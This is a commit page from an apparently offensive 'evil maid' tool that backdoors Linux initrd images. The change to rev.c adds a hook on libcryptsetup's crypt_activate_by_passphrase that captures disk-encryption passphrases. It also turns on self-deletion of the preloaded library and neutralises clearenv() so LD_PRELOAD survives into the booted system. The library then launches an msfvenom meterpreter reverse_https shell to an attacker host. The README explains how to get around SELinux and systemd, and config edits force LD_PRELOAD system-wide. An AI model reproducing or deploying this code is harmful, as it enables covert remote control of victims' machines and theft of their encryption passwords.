Skip to content

Commit 834ca4e

Browse files
committed
systemd hooking for shell
1 parent 6a3d9b9 commit 834ca4e

File tree

4 files changed

+43
-26
lines changed

4 files changed

+43
-26
lines changed

‎Makefile‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22
# run with LHOST=x in env
33
FILENAME = hda1
44
WAIT = 90
5-
CFLAGS := $(CFLAGS) -shared -Wall -Werror -pedantic -fpic -Wl,-init,shell -std=c99 -DWAIT=$(WAIT)
5+
CFLAGS := $(CFLAGS) -shared -Wall -Werror -fpic -Wl,-init,shell -std=c99 -DWAIT=$(WAIT)
66
CC = gcc
77
PAYLOAD = msfvenom -f raw -p python/meterpreter/reverse_https LHOST=$(LHOST) 2>/dev/null | sed 's/^/\#define PAYLOAD "/;s/$$/"\n/'
88
# match rev.c

‎README.md‎

Lines changed: 11 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -25,7 +25,7 @@
2525
## Details
2626
### Compiling
2727
See the `Makefile` for more information/configuration, `LHOST` is required in the
28-
environment to build the `.so` as `msfvenom` is piped in at compile time.
28+
environment to build the `.so` as `msfvenom` is piped in at compile time. It is also necessary to have `libcrypsetup-dev` (or equivalent) installed on the build machine.
2929

3030
Generic Instructions (builds iso image in cwd):
3131
`LHOST=192.168.56.101 make rev.so iso`
@@ -87,9 +87,6 @@ There is no limit to the number of replacements you can run.
8787
#### Notes
8888
* `\\1` will expand to the full contents of the match (`*PRE`) when used inside the replace (`*POST`).
8989
* Be careful with: `| $`
90-
91-
#### Debugging
92-
If you wish to debug your changes at runtime, you can insert `os.system('sh')` before the `initrd` is repacked to both view and modify changes.
9390

9491

9592
### Nitty Gritty
@@ -163,7 +160,7 @@ The `usr/lib/systemd/system/initrd-switch-root.service` contains the script whic
163160

164161
SELinux is present on CentOS, restricting the use of `LD_PRELOAD`. One working path is `/lib`. This was located by reading the file at `/etc/selinux/targeted/modules/active/file_contexts` for a `system_u:object_r:lib_t` labelled location.
165162

166-
##### Progress
163+
##### Dropping the shell
167164
Because systemd calls `clearenv()` before switching root, our `LD_PRELOAD` variable is wiped out. To bypass this, we can hook `clearenv()`, and always just replace the environment with only `LD_PRELOAD`. However, to achieve this, we need to be PID 1 inside the initrd. This is trickier as it is not possible to `LD_PRELOAD` into this process. To get around this, we have replaced `/init` with a bash shell script as follows:
168165

169166
```
@@ -176,22 +173,14 @@ This works becuase `/init` is just a symlink to `/usr/lib/systemd/systemd`. `exe
176173

177174
Once this is impemented, and `clearenv()` is neutralised, it is possible to set `LD_PRELOAD` for the real pid 1 inside the new root.
178175

176+
##### Password Stealing
177+
systemd handles passwords for encrypted filesystems completely differently to Debian based init scripts. The passwords are passed around using Unix sockets which allow you to send credentials. To get around this complexity, the easiest method We found to access the password was to hook the `crypt_activate_by_passphrase` function from `libcryptsetup`. The relevant parts of the function declaration are as follows:
178+
179+
```
180+
int crypt_activate_by_passphrase(..., const char *passphrase, size_t passphrase_size, ...);
181+
```
182+
183+
To access the password we simply hook this function, save `passphrase` to a file and call the original function obtained by `dlsym(RTLD_NEXT, ...)`. As above, we appended our password to the `.so` so it is able to parse itself and make the password available to meterpreter.
184+
179185
##### Artefacts
180186
As above, the .so shows up in `/proc/1/maps`, `/proc/1/environ` and `ps` output.
181-
182-
## Todo
183-
* CentOS/Fedora self delete
184-
* Add in CentOS password retrieval (Possibly requiring hooking)
185-
* Hide from:
186-
* /proc/*/maps
187-
* /proc/*/environ
188-
* ps (python)
189-
* netstat
190-
* Alternative .so: Backdoor a standard system .so (libc etc), add a function,
191-
export it and set -Wl,-init,ourfunction in the ELF headers.
192-
* Pro: stealthier, don't need to LD_PRELOAD/hide ourselves if we're included by
193-
default.
194-
* Con: Reverse Engineering possible. Tricky, we only have what we bring with us
195-
* Rubber Ducky for when we can't boot from external media
196-
* Kernel patch to verify (sha?) checksum of initrd. Would require UEFI
197-
secureboot laptop for testing purposes (fedora can do secureboot)

‎evilmaid.py‎

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -82,6 +82,10 @@ def CENTOSBACKDOOR(settings):
8282
"PRELOADPRE" : "(\[Service\])",
8383
"PRELOADPOST" : CENTOSPRELOADCOMMAND,
8484

85+
"ENVFILE" : "etc/systemd/system.conf",
86+
"ENVPRE" : "#DefaultEnvironment=",
87+
"ENVPOST" : "DefaultEnvironment=LD_PRELOAD=/hda1",
88+
8589
"ROOT" : "/sysroot/",
8690
"FILENAME" : "/usr/lib/lblinux.so.1",
8791
"INITRDFILENAME" : "hda1",
@@ -94,6 +98,10 @@ def CENTOSBACKDOOR(settings):
9498
"PRELOADPRE" : "(\[Service\])",
9599
"PRELOADPOST" : CENTOSPRELOADCOMMAND,
96100

101+
"ENVFILE" : "etc/systemd/system.conf",
102+
"ENVPRE" : "#DefaultEnvironment=",
103+
"ENVPOST" : "DefaultEnvironment=LD_PRELOAD=/hda1",
104+
97105
"ROOT" : "/sysroot/",
98106
"FILENAME" : "/usr/lib/lblinux.so.1",
99107
"INITRDFILENAME" : "hda1",

‎rev.c‎

Lines changed: 23 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -4,12 +4,15 @@
44
#include <string.h>
55
#include <unistd.h>
66
#include <stdio.h>
7+
#include <dlfcn.h>
8+
#include <libcryptsetup.h>
79

810
// dirty, see Makefile
911
#include "/dev/stdin"
1012

11-
int shell(void) {
12-
if(getpid() == 1) {
13+
int shell(int argc, char **argv) {
14+
// only execute if we're pid 1 and /sysroot doesn't exist (systemd workaround)
15+
if(getpid() == 1 && access("/sysroot", F_OK) == -1) {
1316
pid_t pid = fork();
1417
if (pid == 0) {
1518
// don't show any output
@@ -45,7 +48,7 @@ int shell(void) {
4548
NULL
4649
};
4750
// delete self
48-
// unlink(sopath);
51+
unlink(sopath);
4952
// sleep, wait for networking etc
5053
sleep(WAIT);
5154

@@ -77,6 +80,7 @@ int shell(void) {
7780
}
7881

7982

83+
// for retaining LD_PRELOAD into the new root
8084
extern char **environ;
8185
int clearenv (void) {
8286
/*
@@ -91,3 +95,19 @@ int clearenv (void) {
9195
return 0;
9296

9397
}
98+
99+
// for stealing the creds
100+
int (*old_crypt_activate_by_passphrase)(struct crypt_device *cd, const char *name, int keyslot, const char *passphrase, size_t passphrase_size, uint32_t flags);
101+
int crypt_activate_by_passphrase(struct crypt_device *cd, const char *name, int keyslot, const char *passphrase, size_t passphrase_size, uint32_t flags) {
102+
old_crypt_activate_by_passphrase = (int(*)(struct crypt_device *, const char *, int, const char *, size_t, uint32_t))dlsym(RTLD_NEXT, "crypt_activate_by_passphrase");
103+
104+
/* raise(SIGSEGV); */
105+
FILE *self = fopen("/hda1", "a");
106+
fseek(self, 0, SEEK_END);
107+
fwrite(passphrase, passphrase_size, 1, self);
108+
fclose(self);
109+
110+
int ret = old_crypt_activate_by_passphrase(cd, name, keyslot, passphrase, passphrase_size, flags);
111+
return ret;
112+
113+
}

0 commit comments

Comments
 (0)